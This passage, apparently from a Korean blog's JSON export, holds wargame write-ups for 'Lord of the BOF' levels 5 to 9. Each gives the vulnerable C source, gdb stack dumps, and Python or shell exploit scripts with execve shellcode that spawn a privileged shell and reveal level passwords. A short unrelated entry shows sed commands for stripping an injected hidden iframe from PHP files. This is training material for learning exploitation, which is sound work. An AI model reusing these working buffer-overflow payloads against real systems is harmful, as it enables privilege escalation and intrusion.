덮어쓸 RET 주소값이 0xbf로 시작해서 다음값이 ff가 아닌 다른값이 와야 한다고 한다. 이전 문제부터 \\xff 입력 시 버퍼에 제대로 입력이 안되는 이유 때문에 NOP를 다수 입력하여 \\xfe를 입력해왔으므로 이번 문제는 쉽게 풀이가 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/python import os from struct import pack shellcode = \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39; def main(): payload = \u0026#39;A\u0026#39;*44 + pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffe4eec) + \u0026#39;\\x90\u0026#39;*110000 + shellcode os.execl(\u0026#39;/home/troll/vampire\u0026#39;, \u0026#39;vampire\u0026#39;, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat\u0026#39; main() print \u0026#39;[+] End\u0026#39; 1 2 3 4 5 6 7 8 9 10 [troll@localhost troll]$ ./ex.py [+] Strat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1F̀1/shh/bin bash$ id uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world bash$ ","date":"2010-12-20T15:07:32Z","permalink":"/2010/12/20/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-9-vampire/","title":"BOF 원정대 - Level 9 (vampire)"},{"content":"[파일내의 특정 문자열 찾기]\n1 2 find ./ | xargs grep \u0026#34;찾을문자열\u0026#34; --color=auto grep -r \u0026#34;찾을 문자열\u0026#34; --color=auto * [파일내의 특정 문자열을 찾아 해당 내용을 삭제하기]\n1 2 3 find ./ -name \u0026#34;*.php\u0026#34; -exec sed -i \u0026#39;s/old/new/g\u0026#39; {} \\; find ./ -name \u0026#34;*.php\u0026#34; -exec perl -pi -e \u0026#39;s/old/new/g\u0026#39; {} \\; find ./ -name \u0026#34;*.php\u0026#34; -exec sed -i \u0026#39;s/\u0026lt;iframe src=\u0026#34;http:\\/\\/h.nexprice.com\\/css\\/x.htm\u0026#34; width=0 height=0\u0026gt;\u0026lt;\\/iframe\u0026gt;//g\u0026#39; {} \\; {} : find를 통해 찾은 문자열 \\; : -exec 옵션의 끝을 나타냄\n[Perl 옵션 관련]\n1 2 -i[extension] edit \u0026lt;\u0026gt; files in place (makes backup if extension supplied) -p assume loop like -n but print line also, like sed ","date":"2010-12-20T06:10:47Z","permalink":"/2010/12/20/%ED%8C%8C%EC%9D%BC%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95-%EB%82%B4%EC%9A%A9-%EC%82%AD%EC%A0%9C%ED%95%98%EA%B8%B0/","title":"파일에서 특정 내용 삭제하기"},{"content":"이번 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf(argc must be two!\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } // check the length of argument if(strlen(argv[1]) \u0026gt; 48){ printf(argument is too long!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } 환경변수는 사용불가능 하며, argc도 2로 제약하고 있다. 그리고 argv[1]의 크기고 48 Byte만 허용하고 있으므로 이용할 수 있는 부분은 argv[0] 뿐이다. 이곳에 쉘코드를 입력하여 공격해 보도록 하자. 우선 argv[0] 주소를 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [orge@localhost orge]$ cp troll `python -c print \u0026#39;A\u0026#39;*100` [orge@localhost orge]$ gdb AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048506 (gdb) r Starting program: /home/orge/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x8048506 in main () (gdb) x/32wx $esp 0xbffffa4c: 0x40021ca0 0xbffffa78 0x4000a970 0x400f855b 0xbffffa5c: 0x080496fc 0x4000ae60 0xbffffac4 0xbffffa78 0xbffffa6c: 0x080484eb 0x080496e8 0x080496fc 0xbffffa98 0xbffffa7c: 0x400309cb 0x00000001 0xbffffac4 0xbffffacc 0xbffffa8c: 0x40013868 0x00000001 0x08048450 0x00000000 0xbffffa9c: 0x08048471 0x08048500 0x00000001 0xbffffac4 0xbffffaac: 0x08048390 0x0804866c 0x4000ae60 0xbffffabc 0xbffffabc: 0x40013e90 0x00000001 0xbffffbbb 0x00000000 (gdb) 0xbffffacc: 0xbffffc2b 0xbffffc3a 0xbffffc51 0xbffffc70 0xbffffadc: 0xbffffc92 0xbffffc9c 0xbffffe5f 0xbffffe7e 0xbffffaec: 0xbffffe98 0xbffffead 0xbffffec9 0xbffffed4 0xbffffafc: 0xbffffee1 0xbffffee9 0xbffffefa 0xbfffff04 0xbffffb0c: 0xbfffff12 0xbfffff23 0xbfffff31 0xbfffff3c 0xbffffb1c: 0xbfffff4c 0x00000000 0x00000003 0x08048034 0xbffffb2c: 0x00000004 0x00000020 0x00000005 0x00000006 0xbffffb3c: 0x00000006 0x00001000 0x00000007 0x40000000 (gdb) 0xbffffb4c: 0x00000008 0x00000000 0x00000009 0x08048450 0xbffffb5c: 0x0000000b 0x000001fb 0x0000000c 0x000001fb 0xbffffb6c: 0x0000000d 0x000001fb 0x0000000e 0x000001fb 0xbffffb7c: 0x00000010 0x0febfbff 0x0000000f 0xbffffbb6 0xbffffb8c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbac: 0x00000000 0x00000000 0x36690000 0x2f003638 0xbffffbbc: 0x656d6f68 0x67726f2f 0x41412f65 0x41414141 (gdb) 0xbffffbcc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbdc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbec: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbfc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc0c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc1c: 0x41414141 0x41414141 0x41414141 0x50004141 0xbffffc2c: 0x2f3d4457 0x656d6f68 0x67726f2f 0x45520065 0xbffffc3c: 0x45544f4d 0x54534f48 0x3239313d 0x3836312e (gdb) argv[0] 주소를 확인하였으니 넉넉잡아 0xbffffbfc 주소를 이용하여 공격을 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python import os from struct import pack shellcode = \u0026#39;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#39; def main(): payload1 = \u0026#39;\\x90\u0026#39;*100 + shellcode payload2 = \u0026#39;A\u0026#39;*44 + pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffffbfc) os.execl(\u0026#39;/home/orge/troll\u0026#39;, payload1, payload2) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat\u0026#39; main() print \u0026#39;[+] End\u0026#39; 1 2 3 4 5 6 7 8 9 10 [orge@localhost orge]$ ./ex.py [+] Strat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=508(troll) gid=507(orge) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin bash$ ","date":"2010-12-20T00:40:28Z","permalink":"/2010/12/20/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-7-troll/","title":"BOF 원정대 - Level 8 (troll)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf(argv[0] error\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } // check the length of argument if(strlen(argv[1]) \u0026gt; 48){ printf(argument is too long!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer hunter memset(buffer, 0, 40); } 이번 문제는 이전 문제에서 argv[0]의 개수가 77여야 한다는 조건이 추가 되었다. argv[0]의 개수를 맞추기 위해서는 여러 방법이 있다.\n첫번째 방법) 단순히 아래와 같이 argv[0] 인자를 77개 맞춰주는 방법이다. 이후 공격 코드는 이전 문제에서 푼 공격 코드를 그대로 이용하되 RET 주소를 argv[0] 길이가 늘어난 만큼 빼준값을 넣도록 한다.\n./darkelf : 9 byte .////////////////////////////////////////////////////////////////////////orge : 77 byte\n77-9 = 68 0xbffffc1c-0x44 = 0xbffffbd8\n1 2 3 4 5 6 7 8 9 10 11 12 13 [darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xd8\\xfb\\xff\\xbf\u0026#39;` `python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Illegal instruction [darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xd9\\xfb\\xff\\xbf\u0026#39;` `python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker bash$ 두번째 방법) execl() 함수를 이용하는 방법이다. 아래 코드와 같이 작성하여 공격할 수 있다. 페이로드는 이번과 똑같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python import os from struct import pack shellcode = \u0026#39;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#39; def main(): payload1 = \u0026#39;A\u0026#39;*44 + pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffffbd9) payload2 = \u0026#39;\\x90\u0026#39;*100 + shellcode os.execl(\u0026#39;/home/darkelf/orge\u0026#39;, \u0026#39;A\u0026#39;*77, payload1, payload2) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat\u0026#39; main() print \u0026#39;[+] End\u0026#39; 1 2 3 4 5 6 7 8 9 10 [darkelf@localhost darkelf]$ ./ex.py [+] Strat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker bash$ ","date":"2010-12-19T15:39:34Z","permalink":"/2010/12/19/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-7-orge/","title":"BOF 원정대 - Level 7 (orge)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } // check the length of argument if(strlen(argv[1]) \u0026gt; 48){ printf(argument is too long!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer hunter memset(buffer, 0, 40); } 이번 문제는 환경변수를 이용할 수 없으며 버퍼 역시 0~40 까지는 삭제하고 크기가 48 Byte 이상이면 종료가 된다. 많은 제약이 있지만 처음 조건에서 argc가 2 이하이면 되므로 argv[2] 에다가 쉘코드를 넣어 공격이 가능하다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 [wolfman@localhost wolfman]$ gdb darkelf_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048500 \u0026lt;main\u0026gt;: push %ebp 0x8048501 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048503 \u0026lt;main+3\u0026gt;: sub $0x2c,%esp 0x8048506 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804850a \u0026lt;main+10\u0026gt;: jg 0x8048523 \u0026lt;main+35\u0026gt; 0x804850c \u0026lt;main+12\u0026gt;: push $0x8048670 0x8048511 \u0026lt;main+17\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x8048516 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048519 \u0026lt;main+25\u0026gt;: push $0x0 0x804851b \u0026lt;main+27\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x8048520 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048523 \u0026lt;main+35\u0026gt;: nop 0x8048524 \u0026lt;main+36\u0026gt;: movl $0x0,0xffffffd4(%ebp) 0x804852b \u0026lt;main+43\u0026gt;: nop 0x804852c \u0026lt;main+44\u0026gt;: lea 0x0(%esi,1),%esi 0x8048530 \u0026lt;main+48\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048533 \u0026lt;main+51\u0026gt;: lea 0x0(,%eax,4),%edx 0x804853a \u0026lt;main+58\u0026gt;: mov 0x80497a4,%eax 0x804853f \u0026lt;main+63\u0026gt;: cmpl $0x0,(%eax,%edx,1) 0x8048543 \u0026lt;main+67\u0026gt;: jne 0x8048547 \u0026lt;main+71\u0026gt; 0x8048545 \u0026lt;main+69\u0026gt;: jmp 0x8048587 \u0026lt;main+135\u0026gt; 0x8048547 \u0026lt;main+71\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804854a \u0026lt;main+74\u0026gt;: lea 0x0(,%eax,4),%edx 0x8048551 \u0026lt;main+81\u0026gt;: mov 0x80497a4,%eax 0x8048556 \u0026lt;main+86\u0026gt;: mov (%eax,%edx,1),%edx 0x8048559 \u0026lt;main+89\u0026gt;: push %edx 0x804855a \u0026lt;main+90\u0026gt;: call 0x80483f0 \u0026lt;strlen\u0026gt; 0x804855f \u0026lt;main+95\u0026gt;: add $0x4,%esp 0x8048562 \u0026lt;main+98\u0026gt;: mov %eax,%eax 0x8048564 \u0026lt;main+100\u0026gt;: push %eax 0x8048565 \u0026lt;main+101\u0026gt;: push $0x0 0x8048567 \u0026lt;main+103\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804856a \u0026lt;main+106\u0026gt;: lea 0x0(,%eax,4),%edx 0x8048571 \u0026lt;main+113\u0026gt;: mov 0x80497a4,%eax 0x8048576 \u0026lt;main+118\u0026gt;: mov (%eax,%edx,1),%edx 0x8048579 \u0026lt;main+121\u0026gt;: push %edx 0x804857a \u0026lt;main+122\u0026gt;: call 0x8048430 \u0026lt;memset\u0026gt; 0x804857f \u0026lt;main+127\u0026gt;: add $0xc,%esp ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048582 \u0026lt;main+130\u0026gt;: incl 0xffffffd4(%ebp) 0x8048585 \u0026lt;main+133\u0026gt;: jmp 0x8048530 \u0026lt;main+48\u0026gt; 0x8048587 \u0026lt;main+135\u0026gt;: mov 0xc(%ebp),%eax 0x804858a \u0026lt;main+138\u0026gt;: add $0x4,%eax 0x804858d \u0026lt;main+141\u0026gt;: mov (%eax),%edx 0x804858f \u0026lt;main+143\u0026gt;: add $0x2f,%edx 0x8048592 \u0026lt;main+146\u0026gt;: cmpb $0xbf,(%edx) 0x8048595 \u0026lt;main+149\u0026gt;: je 0x80485b0 \u0026lt;main+176\u0026gt; 0x8048597 \u0026lt;main+151\u0026gt;: push $0x804867c 0x804859c \u0026lt;main+156\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x80485a1 \u0026lt;main+161\u0026gt;: add $0x4,%esp 0x80485a4 \u0026lt;main+164\u0026gt;: push $0x0 0x80485a6 \u0026lt;main+166\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x80485ab \u0026lt;main+171\u0026gt;: add $0x4,%esp 0x80485ae \u0026lt;main+174\u0026gt;: mov %esi,%esi 0x80485b0 \u0026lt;main+176\u0026gt;: mov 0xc(%ebp),%eax 0x80485b3 \u0026lt;main+179\u0026gt;: add $0x4,%eax 0x80485b6 \u0026lt;main+182\u0026gt;: mov (%eax),%edx 0x80485b8 \u0026lt;main+184\u0026gt;: push %edx 0x80485b9 \u0026lt;main+185\u0026gt;: call 0x80483f0 \u0026lt;strlen\u0026gt; 0x80485be \u0026lt;main+190\u0026gt;: add $0x4,%esp 0x80485c1 \u0026lt;main+193\u0026gt;: mov %eax,%eax 0x80485c3 \u0026lt;main+195\u0026gt;: cmp $0x30,%eax 0x80485c6 \u0026lt;main+198\u0026gt;: jbe 0x80485e0 \u0026lt;main+224\u0026gt; 0x80485c8 \u0026lt;main+200\u0026gt;: push $0x8048699 0x80485cd \u0026lt;main+205\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x80485d2 \u0026lt;main+210\u0026gt;: add $0x4,%esp 0x80485d5 \u0026lt;main+213\u0026gt;: push $0x0 0x80485d7 \u0026lt;main+215\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x80485dc \u0026lt;main+220\u0026gt;: add $0x4,%esp 0x80485df \u0026lt;main+223\u0026gt;: nop 0x80485e0 \u0026lt;main+224\u0026gt;: mov 0xc(%ebp),%eax 0x80485e3 \u0026lt;main+227\u0026gt;: add $0x4,%eax 0x80485e6 \u0026lt;main+230\u0026gt;: mov (%eax),%edx 0x80485e8 \u0026lt;main+232\u0026gt;: push %edx 0x80485e9 \u0026lt;main+233\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80485ec \u0026lt;main+236\u0026gt;: push %eax 0x80485ed \u0026lt;main+237\u0026gt;: call 0x8048440 \u0026lt;strcpy\u0026gt; 0x80485f2 \u0026lt;main+242\u0026gt;: add $0x8,%esp ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80485f5 \u0026lt;main+245\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80485f8 \u0026lt;main+248\u0026gt;: push %eax 0x80485f9 \u0026lt;main+249\u0026gt;: push $0x80486b0 0x80485fe \u0026lt;main+254\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x8048603 \u0026lt;main+259\u0026gt;: add $0x8,%esp 0x8048606 \u0026lt;main+262\u0026gt;: push $0x28 0x8048608 \u0026lt;main+264\u0026gt;: push $0x0 0x804860a \u0026lt;main+266\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804860d \u0026lt;main+269\u0026gt;: push %eax 0x804860e \u0026lt;main+270\u0026gt;: call 0x8048430 \u0026lt;memset\u0026gt; 0x8048613 \u0026lt;main+275\u0026gt;: add $0xc,%esp 0x8048616 \u0026lt;main+278\u0026gt;: leave 0x8048617 \u0026lt;main+279\u0026gt;: ret 0x8048618 \u0026lt;main+280\u0026gt;: nop 0x8048619 \u0026lt;main+281\u0026gt;: nop 0x804861a \u0026lt;main+282\u0026gt;: nop 0x804861b \u0026lt;main+283\u0026gt;: nop 0x804861c \u0026lt;main+284\u0026gt;: nop 0x804861d \u0026lt;main+285\u0026gt;: nop 0x804861e \u0026lt;main+286\u0026gt;: nop 0x804861f \u0026lt;main+287\u0026gt;: nop End of assembler dump. (gdb) b *main+279 Breakpoint 1 at 0x8048617 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xbf\\xbf\\xbf\\xbf\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*110000` Starting program: /home/wolfman/darkelf_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xbf\\xbf\\xbf\\xbf\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*110000` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x8048617 in main () (gdb) x/32wx $esp 0xbffe4cfc: 0xbfbfbfbf 0x00000000 0xbffe4d44 0xbffe4d54 0xbffe4d0c: 0x40013868 0x00000003 0x08048450 0x00000000 0xbffe4d1c: 0x08048471 0x08048500 0x00000003 0xbffe4d44 0xbffe4d2c: 0x08048390 0x0804864c 0x4000ae60 0xbffe4d3c 0xbffe4d3c: 0x40013e90 0x00000003 0xbffe4e3c 0xbffe4e56 0xbffe4d4c: 0xbffe4e87 0x00000000 0xbffffc38 0xbffffc5a 0xbffe4d5c: 0xbffffc64 0xbffffc72 0xbffffc91 0xbffffca1 0xbffe4d6c: 0xbffffcba 0xbffffcd7 0xbffffd3f 0xbffffd4a (gdb) 0xbffe4d7c: 0xbffffd58 0xbffffd9b 0xbffffdae 0xbffffdc3 0xbffe4d8c: 0xbffffdd3 0xbffffde0 0xbffffdff 0xbffffe0a 0xbffe4d9c: 0xbffffe17 0xbffffe1f 0x00000000 0x00000003 0xbffe4dac: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffe4dbc: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffe4dcc: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffe4ddc: 0x08048450 0x0000000b 0x000001f9 0x0000000c 0xbffe4dec: 0x000001f9 0x0000000d 0x000001f9 0x0000000e (gdb) 0xbffe4dfc: 0x000001f9 0x00000010 0x0febfbff 0x0000000f 0xbffe4e0c: 0xbffe4e37 0x00000000 0x00000000 0x00000000 0xbffe4e1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffe4e2c: 0x00000000 0x00000000 0x69000000 0x00363836 0xbffe4e3c: 0x6d6f682f 0x6f772f65 0x616d666c 0x61642f6e 0xbffe4e4c: 0x6c656b72 0x6d745f66 0x41410070 0x41414141 0xbffe4e5c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffe4e6c: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffe4e7c: 0x41414141 0xbfbf4141 0x9000bfbf 0x90909090 0xbffe4e8c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4e9c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4eac: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4ebc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4ecc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4edc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe4eec: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) q The program is running. Exit anyway? (y or n) y [wolfman@localhost wolfman]$ ./darkelf `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x4e\\xfe\\xbf\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*110000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=506(darkelf) gid=505(wolfman) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed bash$ ","date":"2010-12-19T15:28:01Z","permalink":"/2010/12/19/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-6-darkelf/","title":"BOF 원정대 - Level 6 (darkelf)"},{"content":"문제소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer hunter memset(buffer, 0, 40); } 이번에는 환경변수와 버퍼를 지우지만 버퍼를 0~40 까지만 지우게 되므로 이후 쉘코드는 남길 수 있다. 아마 쉘코드를 버퍼 앞쪽에 쓰는걸 방지하지 위해 저런 코드를 작성한 것으로 보인다. 암튼 공격은 이전 레벨의 코드와 동일하게 풀이가 가능하다.\n1 2 3 4 5 6 7 8 9 [orc@localhost orc]$ ./wolfman `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1c\\x76\\xfe\\xbf\u0026#39; + \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv1h//shh/bin bash$ id uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna bash$ ","date":"2010-12-19T14:37:52Z","permalink":"/2010/12/19/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-5-wolfman/","title":"BOF 원정대 - Level 5 (wolfman)"},{"content":"문제 소스는 아래와 같다.\n1 